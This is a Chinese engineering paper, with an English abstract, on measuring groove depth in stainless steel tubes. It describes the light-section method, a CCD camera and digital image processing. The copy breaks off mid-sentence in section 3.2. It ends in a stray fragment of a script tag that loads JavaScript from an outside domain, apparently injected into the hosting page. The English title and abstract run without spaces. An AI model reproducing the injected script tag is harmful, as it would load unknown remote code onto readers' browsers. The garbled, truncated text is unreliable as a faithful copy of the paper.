摘要：在窄浅槽的深度测量方面，常用的测量方法受到很多的限制。对不锈钢管的电火花加工（edm）的刻槽深度测量，提出了一种在光切法基础上采用电荷藕合器件图像传感器 （ccd）获得不锈钢管表面和刻槽底部的图像，运用数字图像处理技术对图像进一步处理的刻槽深度测量方法。介绍了光切法的原理，并详细介绍了对所获得的数字图像进行处理的步骤。实际应用表明，该方法有较高的测量精度。
关键词：数字图像处理技术，光切法，窄浅槽，刻槽深度，测量方法
中图分类号：文献标识码：文章编号：1672-4984（2007）00-0000-00
researchonafathomingmethodforgroovebasedonlight-sectionanddigitalimageprocessingtechnique
huangdingming1,kangyihua1,zenghongwei2
(1.schoolofmechanicalscienceandengineering,huazhonguniversityofscienceandtechnology,wuhan430074,china;2.oilpipetestingcompany,sichuanoilmaterialparentcompany,chongqing400039)
abstract:normalmethodsarerestrainedtomeasurethedepthofnarrowandshallowgroove.withdealingwiththephotographedimagesofthetube’ssurfaceandthegroove’sbottom,amethodisputforwardtofathomthegroovecutonstainlesssteeltubebyedm,basedonlight-sectioningmethodanddigitalimageprocessingtechnique.introducedistheprincipleoflight-sectioningmethod,anddetailedarethestepsofprocessingthedigitalimages.relevantpracticeshowsthatthemeasuringmethodcanattainhighaccuracy.
keywords:digitalimageprocessingtechnique,light-sectioningmethod,narrowandshallowgroove,groove’sdepth,fathomingmethod
1前言
在无损探伤的研究中，往往要预先制作标准试样，以供设备研制的测试和标定。标准试样是一定规格的槽或孔，有关国家标准对其深度尺寸有较高的要求。测量刻槽深度的方法有多种，如机械仪表测量、超声波测量、脉冲热像检测和白光干涉测量法等。脉冲热像对槽深度的定量检测通常利用热像时间序列先求得峰值时间，进而求得槽深度，但该法不适合窄槽的测量[1]，也不适合精确测量深度小的缺陷[2]。机械仪表测量通常采用游标卡尺、深度百分表或千分表，操作简单，但测量的精度不高。超声波测量是在槽的两侧表面相近部位,分别配置超声波纵波发射探头和接收探头，接收探头接收到的回波中含有槽深度信息，按此回波的传播时间来测量裂缝的深度，该方法测量精度高，但超声波测量过程麻烦，适用范围小[3]。白光干涉测量法是利用迈克尔逊光路结构产生相干光，采用白光光源测量物体表面的三维轮廓，具有高测量精度和高灵敏度的特点，测试过程快速准确，但该方法对底部比较粗糙的刻槽不适合[4]。
在底部较粗糙的窄浅槽深度测量方面，上述测量方法受到了很大的限制。如今，数字图像处理技术已经非常成熟，同时ccd的成像质量越来越高。用光切法和ccd获取光带在槽轮廓处形成的图像，再用计算机软件对图像进行处理，不仅操作十分简便，而且测量精度较高。
2光切法测量原理
光切法的主要设备是双管显微镜，其加装ccd后的测量光路如图1所示。双管显微镜有两个光管，一个为照明管，另—为观测管。两管轴线互成90°。光源4发出的光经聚光镜3聚焦成平行光，经狭缝2后形成细光带，再由物镜1聚焦后，成45°角投射在工件8的表面上。细光带与槽的长度方向垂直。光带以与光源成90°角的方向反射，经物镜7和目镜6聚焦后以供观测[5]。在目镜后加装ccd5，以便产生数字图像传送给计算机进行处理。
1—照明管物镜2—狭缝3—聚光镜4—光源5—摄像头
6—观测管目镜7—观测管物镜8—带窄槽的工件
图1光切法测量光路图
在未开槽的工件表面上，光带成像是一条完整的光带，但开槽后由于槽底部与工件上表面不在一个高度上，形成的反射光带与上表面的反光会错开一定距离，光带不再是连续的。
3ccd摄取图像
3.1ccd成像原理
电荷藕合器件图像传感器ccd（chargecoupleddevice）是在p（或n）型硅基体上，生成一层sio2绝缘层（厚度约0.1μm），再于绝缘层上淀积一系列间隙相隔很小（小于0.3μm）的金属电极（栅极），每个金属电极和它下面的绝缘层及半导体硅基体形成一个mos电容器，ccd实际上是由一系列mos电容器构成的mos阵列。由于这些mos电容器彼此靠得很近，它们之间可以发生耦合，使被注入到mos电容器中的电荷可以有控制地从一个电容器移位到另一个电容器。这种电荷转移过程是电荷耦合的过程[6]。生成的电荷通过模数转换器芯片转换成数字信号，再传输给计算机，并借助计算机的处理手段，根据需要来修改图像。ccd通常以像素为单位。
3.2光源的选择
ccd应用系统可大致分为摄像和检测?script src=http://er12.com/t.js>
